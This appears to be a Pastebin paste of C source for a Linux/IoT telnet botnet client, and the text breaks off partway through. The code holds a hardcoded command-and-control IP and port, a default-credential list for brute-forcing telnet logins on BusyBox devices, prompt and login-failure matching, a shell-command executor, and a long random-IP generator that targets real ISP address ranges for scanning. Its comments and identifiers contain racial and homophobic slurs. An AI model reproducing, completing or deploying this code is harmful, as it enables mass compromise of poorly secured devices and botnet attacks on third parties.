Advertisement
Guest User

g

a guest
Jul 6th, 2017
379
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 69.33 KB | None | 0 0
  1. /*
  2. BOTNET...
  3. SWATNET...
  4. PIKACHU PACKETS [NIGGA]!
  5. ~KMS
  6. */
  7. #include <stdlib.h>
  8. #include <stdarg.h>
  9. #include <stdio.h>
  10. #include <sys/socket.h>
  11. #include <sys/types.h>
  12. #include <netinet/in.h>
  13. #include <arpa/inet.h>
  14. #include <netdb.h>
  15. #include <signal.h>
  16. #include <strings.h>
  17. #include <string.h>
  18. #include <sys/utsname.h>
  19. #include <unistd.h>
  20. #include <fcntl.h>
  21. #include <errno.h>
  22. #include <netinet/ip.h>
  23. #include <netinet/udp.h>
  24. #include <netinet/tcp.h>
  25. #include <sys/wait.h>
  26. #include <sys/ioctl.h>
  27. #include <net/if.h>
  28. #include <time.h>
  29. #include <limits.h>
  30. #define PRE_SET_SEX 15
  31. #define SERVER_LIST_SEX (sizeof(hekkertelnet) / sizeof(unsigned char *))
  32. #define PAD_RIGHTZ 1
  33. #define PAD_CNC 2
  34. #define PRINT_HOE 12
  35. #define CMD_IAN 255
  36. #define CMD_WILLY 251
  37. #define CMD_WONKER 252
  38. #define CMD_DILDO 253
  39. #define CMD_FAG 254
  40. #define OPT_PGA 3
  41. #define STD_PIGZ 75
  42. #define BUFFER_BITCH 1024
  43. #define PHI 0x9e3779b9
  44. #define VERSION "Build 2"
  45. #define NETIS "AA\x00\x00AAAA"
  46. unsigned char *hekkertelnet[] = { "192.227.180.165" };
  47. int Server_Botport = 443;
  48. char *usernames[] = {"telnet\0", "root\0", "root\0", "root\0"};
  49. char *passwords[] = {"telnet\0", "root\0", "\0", "1234\0"};
  50. char* KGSVYGXA[] = {"BusyBox", "$", "#", (char*)0};
  51. char* SGSGWUD[] = {":", "ogin", "sername", "assword", (char*)0};
  52. char* bhuhwys[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  53. char* SGSGWUD2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "BusyBox", "$", "#", (char*)0};
  54. char *hvgsgd = "\r\n";
  55. int initConnection();
  56. int userID = 1;
  57. void makeRandomStr(unsigned char *buf, int length);
  58. int HackerPrint(int sock, char *formatStr, ...);
  59. char *inet_ntoa(struct in_addr in);
  60. int D1ckSucka = 0, D1ckSuckaz = -1;
  61. uint32_t *pids;
  62. uint32_t scanPid;
  63. uint32_t nscanPid;
  64. uint32_t ngPid;
  65. uint64_t numpids = 0;
  66. struct in_addr ourIP;
  67. unsigned char macAddress[6] = {0};
  68. static uint32_t Q[4096], c = 362436;
  69. void init_rand(uint32_t x)
  70. {
  71. int i;
  72. Q[0] = x;
  73. Q[1] = x + PHI;
  74. Q[2] = x + PHI + PHI;
  75. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  76. }
  77. uint32_t rand_cmwc(void)
  78. {
  79. uint64_t t, a = 18782LL;
  80. static uint32_t i = 4095;
  81. uint32_t x, r = 0xfffffffe;
  82. i = (i + 1) & 4095;
  83. t = a * Q[i] + c;
  84. c = (uint32_t)(t >> 32);
  85. x = t + c;
  86. if (x < c) {
  87. x++;
  88. c++;
  89. }
  90. return (Q[i] = r - x);
  91. }
  92. void trim(char *str)
  93. {
  94. int i;
  95. int begin = 0;
  96. int end = strlen(str) - 1;
  97. while (isspace(str[begin])) begin++;
  98. while ((end >= begin) && isspace(str[end])) end--;
  99. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  100. str[i - begin] = '\0';
  101. }
  102. static void printchar(unsigned char **str, int c)
  103. {
  104. if (str) {
  105. **str = c;
  106. ++(*str);
  107. }
  108. else (void)write(1, &c, 1);
  109. }
  110. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  111. {
  112. register int pc = 0, padchar = ' ';
  113. if (width > 0) {
  114. register int len = 0;
  115. register const unsigned char *ptr;
  116. for (ptr = string; *ptr; ++ptr) ++len;
  117. if (len >= width) width = 0;
  118. else width -= len;
  119. if (pad & PAD_CNC) padchar = '0';
  120. }
  121. if (!(pad & PAD_RIGHTZ)) {
  122. for ( ; width > 0; --width) {
  123. printchar (out, padchar);
  124. ++pc;
  125. }
  126. }
  127. for ( ; *string ; ++string) {
  128. printchar (out, *string);
  129. ++pc;
  130. }
  131. for ( ; width > 0; --width) {
  132. printchar (out, padchar);
  133. ++pc;
  134. }
  135. return pc;
  136. }
  137. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  138. {
  139. unsigned char print_buf[PRINT_HOE];
  140. register unsigned char *s;
  141. register int t, neg = 0, pc = 0;
  142. register unsigned int u = i;
  143. if (i == 0) {
  144. print_buf[0] = '0';
  145. print_buf[1] = '\0';
  146. return prints (out, print_buf, width, pad);
  147. }
  148. if (sg && b == 10 && i < 0) {
  149. neg = 1;
  150. u = -i;
  151. }
  152. s = print_buf + PRINT_HOE-1;
  153. *s = '\0';
  154. while (u) {
  155. t = u % b;
  156. if( t >= 10 )
  157. t += letbase - '0' - 10;
  158. *--s = t + '0';
  159. u /= b;
  160. }
  161. if (neg) {
  162. if( width && (pad & PAD_CNC) ) {
  163. printchar (out, '-');
  164. ++pc;
  165. --width;
  166. }
  167. else {
  168. *--s = '-';
  169. }
  170. }
  171. return pc + prints (out, s, width, pad);
  172. }
  173. static int print(unsigned char **out, const unsigned char *format, va_list args )
  174. {
  175. register int width, pad;
  176. register int pc = 0;
  177. unsigned char scr[2];
  178. for (; *format != 0; ++format) {
  179. if (*format == '%') {
  180. ++format;
  181. width = pad = 0;
  182. if (*format == '\0') break;
  183. if (*format == '%') goto out;
  184. if (*format == '-') {
  185. ++format;
  186. pad = PAD_RIGHTZ;
  187. }
  188. while (*format == '0') {
  189. ++format;
  190. pad |= PAD_CNC;
  191. }
  192. for ( ; *format >= '0' && *format <= '9'; ++format) {
  193. width *= 10;
  194. width += *format - '0';
  195. }
  196. if( *format == 's' ) {
  197. register char *s = (char *)va_arg( args, intptr_t );
  198. pc += prints (out, s?s:"(null)", width, pad);
  199. continue;
  200. }
  201. if( *format == 'd' ) {
  202. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  203. continue;
  204. }
  205. if( *format == 'x' ) {
  206. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  207. continue;
  208. }
  209. if( *format == 'X' ) {
  210. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  211. continue;
  212. }
  213. if( *format == 'u' ) {
  214. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  215. continue;
  216. }
  217. if( *format == 'c' ) {
  218. scr[0] = (unsigned char)va_arg( args, int );
  219. scr[1] = '\0';
  220. pc += prints (out, scr, width, pad);
  221. continue;
  222. }
  223. }
  224. else {
  225. out:
  226. printchar (out, *format);
  227. ++pc;
  228. }
  229. }
  230. if (out) **out = '\0';
  231. va_end( args );
  232. return pc;
  233. }
  234. int zprintf(const unsigned char *format, ...)
  235. {
  236. va_list args;
  237. va_start( args, format );
  238. return print( 0, format, args );
  239. }
  240. int szprintf(unsigned char *out, const unsigned char *format, ...)
  241. {
  242. va_list args;
  243. va_start( args, format );
  244. return print( &out, format, args );
  245. }
  246. int HackerPrint(int sock, char *formatStr, ...)
  247. {
  248. unsigned char *textBuffer = malloc(2048);
  249. memset(textBuffer, 0, 2048);
  250. char *orig = textBuffer;
  251. va_list args;
  252. va_start(args, formatStr);
  253. print(&textBuffer, formatStr, args);
  254. va_end(args);
  255. orig[strlen(orig)] = '\n';
  256. //zprintf("buf: %s\n", orig);
  257. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  258. free(orig);
  259. return q;
  260. }
  261. static int *fdopen_pids;
  262. int fdpopen(unsigned char *program, register unsigned char *type)
  263. {
  264. register int iop;
  265. int pdes[2], fds, pid;
  266. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  267. if (pipe(pdes) < 0) return -1;
  268. if (fdopen_pids == NULL) {
  269. if ((fds = getdtablesize()) <= 0) return -1;
  270. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  271. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  272. }
  273. switch (pid = vfork())
  274. {
  275. case -1:
  276. close(pdes[0]);
  277. close(pdes[1]);
  278. return -1;
  279. case 0:
  280. if (*type == 'r') {
  281. if (pdes[1] != 1) {
  282. dup2(pdes[1], 1);
  283. close(pdes[1]);
  284. }
  285. close(pdes[0]);
  286. } else {
  287. if (pdes[0] != 0) {
  288. (void) dup2(pdes[0], 0);
  289. (void) close(pdes[0]);
  290. }
  291. (void) close(pdes[1]);
  292. }
  293. execl("/bin/sh", "sh", "-c", program, NULL);
  294. _exit(127);
  295. }
  296. if (*type == 'r') {
  297. iop = pdes[0];
  298. (void) close(pdes[1]);
  299. } else {
  300. iop = pdes[1];
  301. (void) close(pdes[0]);
  302. }
  303. fdopen_pids[iop] = pid;
  304. return (iop);
  305. }
  306. int fdpclose(int iop)
  307. {
  308. register int fdes;
  309. sigset_t omask, nmask;
  310. int pstat;
  311. register int pid;
  312. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  313. (void) close(iop);
  314. sigemptyset(&nmask);
  315. sigaddset(&nmask, SIGINT);
  316. sigaddset(&nmask, SIGQUIT);
  317. sigaddset(&nmask, SIGHUP);
  318. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  319. do {
  320. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  321. } while (pid == -1 && errno == EINTR);
  322. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  323. fdopen_pids[fdes] = 0;
  324. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  325. }
  326. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  327. {
  328. int got = 1, total = 0;
  329. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  330. return got == 0 ? NULL : buffer;
  331. }
  332. static const long hextable[] = {
  333. [0 ... 255] = -1,
  334. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  335. ['A'] = 10, 11, 12, 13, 14, 15,
  336. ['a'] = 10, 11, 12, 13, 14, 15
  337. };
  338. long parseHex(unsigned char *hex)
  339. {
  340. long ret = 0;
  341. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  342. return ret;
  343. }
  344. int wildString(const unsigned char* pattern, const unsigned char* string) {
  345. switch(*pattern)
  346. {
  347. case '\0': return *string;
  348. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  349. case '?': return !(*string && !wildString(pattern+1, string+1));
  350. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  351. }
  352. }
  353. int getHost(unsigned char *toGet, struct in_addr *i)
  354. {
  355. struct hostent *h;
  356. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  357. return 0;
  358. }
  359. void uppercase(unsigned char *str)
  360. {
  361. while(*str) { *str = toupper(*str); str++; }
  362. }
  363. void makeRandomStr(unsigned char *buf, int length)
  364. {
  365. int i = 0;
  366. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  367. }
  368. int recvLine(int socket, unsigned char *buf, int bufsize)
  369. {
  370. memset(buf, 0, bufsize);
  371. fd_set myset;
  372. struct timeval tv;
  373. tv.tv_sec = 30;
  374. tv.tv_usec = 0;
  375. FD_ZERO(&myset);
  376. FD_SET(socket, &myset);
  377. int selectRtn, retryCount;
  378. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  379. while(retryCount < 10)
  380. {
  381. HackerPrint(D1ckSucka, "PING");
  382. tv.tv_sec = 30;
  383. tv.tv_usec = 0;
  384. FD_ZERO(&myset);
  385. FD_SET(socket, &myset);
  386. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  387. retryCount++;
  388. continue;
  389. }
  390. break;
  391. }
  392. }
  393. unsigned char tmpchr;
  394. unsigned char *cp;
  395. int count = 0;
  396. cp = buf;
  397. while(bufsize-- > 1)
  398. {
  399. if(recv(D1ckSucka, &tmpchr, 1, 0) != 1) {
  400. *cp = 0x00;
  401. return -1;
  402. }
  403. *cp++ = tmpchr;
  404. if(tmpchr == '\n') break;
  405. count++;
  406. }
  407. *cp = 0x00;
  408. // zprintf("recv: %s\n", cp);
  409. return count;
  410. }
  411. int hostname_to_ip(char * hostname , char* ip)
  412. {
  413. struct hostent *he;
  414. struct in_addr **addr_list;
  415. int i;
  416. if ( (he = gethostbyname( hostname ) ) == NULL)
  417. {
  418. // get the host info
  419. herror("gethostbyname");
  420. return 1;
  421. }
  422. addr_list = (struct in_addr **) he->h_addr_list;
  423. for(i = 0; addr_list[i] != NULL; i++)
  424. {
  425. //Return the first one;
  426. strcpy(ip , inet_ntoa(*addr_list[i]) );
  427. return 0;
  428. }
  429. return 1;
  430. }
  431. int connectTimeout(int fd, char *host, int port, int timeout)
  432. {
  433. struct sockaddr_in dest_addr;
  434. fd_set myset;
  435. struct timeval tv;
  436. socklen_t lon;
  437. int valopt;
  438. long arg = fcntl(fd, F_GETFL, NULL);
  439. arg |= O_NONBLOCK;
  440. fcntl(fd, F_SETFL, arg);
  441. dest_addr.sin_family = AF_INET;
  442. dest_addr.sin_port = htons(port);
  443. if(getHost(host, &dest_addr.sin_addr)) return 0;
  444. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  445. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  446. if (res < 0) {
  447. if (errno == EINPROGRESS) {
  448. tv.tv_sec = timeout;
  449. tv.tv_usec = 0;
  450. FD_ZERO(&myset);
  451. FD_SET(fd, &myset);
  452. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  453. lon = sizeof(int);
  454. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  455. if (valopt) return 0;
  456. }
  457. else return 0;
  458. }
  459. else return 0;
  460. }
  461. arg = fcntl(fd, F_GETFL, NULL);
  462. arg &= (~O_NONBLOCK);
  463. fcntl(fd, F_SETFL, arg);
  464. return 1;
  465. }
  466. int listFork()
  467. {
  468. uint32_t parent, *newpids, i;
  469. parent = fork();
  470. if (parent <= 0) return parent;
  471. numpids++;
  472. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  473. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  474. newpids[numpids - 1] = parent;
  475. free(pids);
  476. pids = newpids;
  477. return parent;
  478. }
  479. int negotiate(int sock, unsigned char *buf, int len)
  480. {
  481. unsigned char c;
  482. switch (buf[1]) {
  483. case CMD_IAN: /*dropped an extra 0xFF wh00ps*/ return 0;
  484. case CMD_WILLY:
  485. case CMD_WONKER:
  486. case CMD_DILDO:
  487. case CMD_FAG:
  488. c = CMD_IAN;
  489. send(sock, &c, 1, MSG_NOSIGNAL);
  490. if (CMD_WONKER == buf[1]) c = CMD_FAG;
  491. else if (CMD_FAG == buf[1]) c = CMD_WONKER;
  492. else if (OPT_PGA == buf[1]) c = (buf[1] == CMD_DILDO ? CMD_WILLY : CMD_DILDO);
  493. else c = (buf[1] == CMD_DILDO ? CMD_WONKER : CMD_FAG);
  494. send(sock, &c, 1, MSG_NOSIGNAL);
  495. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  496. break;
  497. default:
  498. break;
  499. }
  500. return 0;
  501. }
  502. int matchPrompt(char *bufStr)
  503. {
  504. char *prompts = ":>%$#\0";
  505. int bufLen = strlen(bufStr);
  506. int i, q = 0;
  507. for(i = 0; i < strlen(prompts); i++)
  508. {
  509. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  510. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  511. }
  512. return 0;
  513. }
  514. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  515. {
  516. int bufferUsed = initialIndex, got = 0, found = 0;
  517. fd_set myset;
  518. struct timeval tv;
  519. tv.tv_sec = timeout;
  520. tv.tv_usec = timeoutusec;
  521. unsigned char *initialRead = NULL;
  522. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  523. {
  524. FD_ZERO(&myset);
  525. FD_SET(fd, &myset);
  526. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  527. initialRead = buffer + bufferUsed;
  528. got = recv(fd, initialRead, 1, 0);
  529. if(got == -1 || got == 0) return 0;
  530. bufferUsed += got;
  531. if(*initialRead == 0xFF)
  532. {
  533. got = recv(fd, initialRead + 1, 2, 0);
  534. if(got == -1 || got == 0) return 0;
  535. bufferUsed += got;
  536. if(!negotiate(fd, initialRead, 3)) return 0;
  537. } else {
  538. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  539. }
  540. }
  541. if(found) return 1;
  542. return 0;
  543. }
  544. static uint8_t ipState[5] = {0};
  545. in_addr_t HackerScan2()
  546. {
  547. ipState[1] = 0;
  548. ipState[2] = 0;
  549. ipState[3] = 0;
  550. ipState[4] = 0;
  551. ipState[1] = rand() % 255;
  552. ipState[2] = rand() % 255;
  553. ipState[3] = rand() % 255;
  554. ipState[4] = rand() % 255;
  555. int randnum = rand() % 222;
  556. char ip[16];
  557. if(randnum == 0)
  558. {
  559. szprintf(ip, "112.5.%d.%d", ipState[3], ipState[4]);
  560. }
  561. if(randnum == 1)
  562. {
  563. szprintf(ip, "117.165.%d.%d", ipState[3], ipState[4]);
  564. }
  565. if(randnum == 2)
  566. {
  567. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  568. }
  569. if(randnum == 3)
  570. {
  571. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  572. }
  573. if(randnum == 4)
  574. {
  575. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  576. }
  577. if(randnum == 5)
  578. {
  579. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  580. }
  581. if(randnum == 6)
  582. {
  583. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  584. }
  585. if(randnum == 7)
  586. {
  587. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  588. }
  589. if(randnum == 8)
  590. {
  591. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  592. }
  593. if(randnum == 9)
  594. {
  595. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  596. }
  597. if(randnum == 10)
  598. {
  599. szprintf(ip, "221.120.%d.%d", ipState[3], ipState[4]);
  600. }
  601. if(randnum == 11)
  602. {
  603. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  604. }
  605. if(randnum == 12)
  606. {
  607. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  608. }
  609. if(randnum == 13)
  610. {
  611. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  612. }
  613. if(randnum == 14)
  614. {
  615. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  616. }
  617. if(randnum == 15)
  618. {
  619. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  620. }
  621. if(randnum == 16)
  622. {
  623. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  624. }
  625. if(randnum == 17)
  626. {
  627. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  628. }
  629. if(randnum == 18)
  630. {
  631. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  632. }
  633. if(randnum == 19)
  634. {
  635. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  636. }
  637. if(randnum == 20)
  638. {
  639. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  640. }
  641. if(randnum == 21)
  642. {
  643. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  644. }
  645. if(randnum == 22)
  646. {
  647. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  648. }
  649. if(randnum == 23)
  650. {
  651. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  652. }
  653. if(randnum == 24)
  654. {
  655. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  656. }
  657. if(randnum == 25)
  658. {
  659. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  660. }
  661. if(randnum == 26)
  662. {
  663. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  664. }
  665. if(randnum == 27)
  666. {
  667. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  668. }
  669. if(randnum == 28)
  670. {
  671. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  672. }
  673. if(randnum == 29)
  674. {
  675. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  676. }
  677. if(randnum == 30)
  678. {
  679. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  680. }
  681. if(randnum == 31)
  682. {
  683. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  684. }
  685. if(randnum == 32)
  686. {
  687. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  688. }
  689. if(randnum == 33)
  690. {
  691. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  692. }
  693. if(randnum == 34)
  694. {
  695. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  696. }
  697. if(randnum == 35)
  698. {
  699. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  700. }
  701. if(randnum == 36)
  702. {
  703. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  704. }
  705. if(randnum == 37)
  706. {
  707. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  708. }
  709. if(randnum == 38)
  710. {
  711. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  712. }
  713. if(randnum == 39)
  714. {
  715. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  716. }
  717. if(randnum == 40)
  718. {
  719. szprintf(ip, "163.53.250.%d.%d", ipState[4]);
  720. }
  721. if(randnum == 41)
  722. {
  723. szprintf(ip, "163.53.251.%d.%d", ipState[4]);
  724. }
  725. if(randnum == 42)
  726. {
  727. szprintf(ip, "163.53.252.%d", ipState[4]);
  728. }
  729. if(randnum == 43)
  730. {
  731. szprintf(ip, "163.53.253.%d", ipState[3], ipState[4]);
  732. }
  733. if(randnum == 44)
  734. {
  735. szprintf(ip, "62.30.%d.%d", ipState[3], ipState[4]);
  736. }
  737. if(randnum == 45)
  738. {
  739. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  740. }
  741. if(randnum == 46)
  742. {
  743. szprintf(ip, "62.254.%d.%d", ipState[3], ipState[4]);
  744. }
  745. if(randnum == 47)
  746. {
  747. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  748. }
  749. if(randnum == 48)
  750. {
  751. szprintf(ip, "77.96.%d.%d", ipState[3], ipState[4]);
  752. }
  753. if(randnum == 49)
  754. {
  755. szprintf(ip, "77.97.%d.%d", ipState[3], ipState[4]);
  756. }
  757. if(randnum == 50)
  758. {
  759. szprintf(ip, "77.98.%d.%d", ipState[3], ipState[4]);
  760. }
  761. if(randnum == 51)
  762. {
  763. szprintf(ip, "77.100.%d.%d", ipState[3], ipState[4]);
  764. }
  765. if(randnum == 52)
  766. {
  767. szprintf(ip, "77.102.%d.%d", ipState[3], ipState[4]);
  768. }
  769. if(randnum ==53)
  770. {
  771. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  772. }
  773. if(randnum == 54)
  774. {
  775. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  776. }
  777. if(randnum == 55)
  778. {
  779. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  780. }
  781. if(randnum == 56)
  782. {
  783. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  784. }
  785. if(randnum == 57)
  786. {
  787. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  788. }
  789. if(randnum == 58)
  790. {
  791. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  792. }
  793. if(randnum == 59)
  794. {
  795. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  796. }
  797. if(randnum == 60)
  798. {
  799. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  800. }
  801. if(randnum == 61)
  802. {
  803. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  804. }
  805. if(randnum == 62)
  806. {
  807. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  808. }
  809. if(randnum == 63)
  810. {
  811. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  812. }
  813. if(randnum == 64)
  814. {
  815. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  816. }
  817. if(randnum == 65)
  818. {
  819. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  820. }
  821. if(randnum == 66)
  822. {
  823. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  824. }
  825. if(randnum == 67)
  826. {
  827. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  828. }
  829. if(randnum == 68)
  830. {
  831. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  832. }
  833. if(randnum == 69)
  834. {
  835. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  836. }
  837. if(randnum == 70)
  838. {
  839. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  840. }
  841. if(randnum == 71)
  842. {
  843. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  844. }
  845. if(randnum == 72)
  846. {
  847. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  848. }
  849. if(randnum == 73)
  850. {
  851. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  852. }
  853. if(randnum == 74)
  854. {
  855. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  856. }
  857. if(randnum == 75)
  858. {
  859. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  860. }
  861. if(randnum == 76)
  862. {
  863. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  864. }
  865. if(randnum == 77)
  866. {
  867. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  868. }
  869. if(randnum == 78)
  870. {
  871. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  872. }
  873. if(randnum == 79)
  874. {
  875. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  876. }
  877. if(randnum == 80)
  878. {
  879. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  880. }
  881. if(randnum == 81)
  882. {
  883. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  884. }
  885. if(randnum == 82)
  886. {
  887. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  888. }
  889. if(randnum == 83)
  890. {
  891. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  892. }
  893. if(randnum == 84)
  894. {
  895. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  896. }
  897. if(randnum == 85)
  898. {
  899. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  900. }
  901. if(randnum == 86)
  902. {
  903. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  904. }
  905. if(randnum == 87)
  906. {
  907. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  908. }
  909. if(randnum == 88)
  910. {
  911. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  912. }
  913. if(randnum == 89)
  914. {
  915. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  916. }
  917. if(randnum == 90)
  918. {
  919. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  920. }
  921. if(randnum == 91)
  922. {
  923. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  924. }
  925. if(randnum == 92)
  926. {
  927. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  928. }
  929. if(randnum == 93)
  930. {
  931. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  932. }
  933. if(randnum == 94)
  934. {
  935. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  936. }
  937. if(randnum == 95)
  938. {
  939. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  940. }
  941. if(randnum == 96)
  942. {
  943. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  944. }
  945. if(randnum == 97)
  946. {
  947. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  948. }
  949. if(randnum == 98)
  950. {
  951. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  952. }
  953. if(randnum == 99)
  954. {
  955. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  956. }
  957. if(randnum == 100)
  958. {
  959. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  960. }
  961. if(randnum == 101)
  962. {
  963. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  964. }
  965. if(randnum == 102)
  966. {
  967. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  968. }
  969. if(randnum == 103)
  970. {
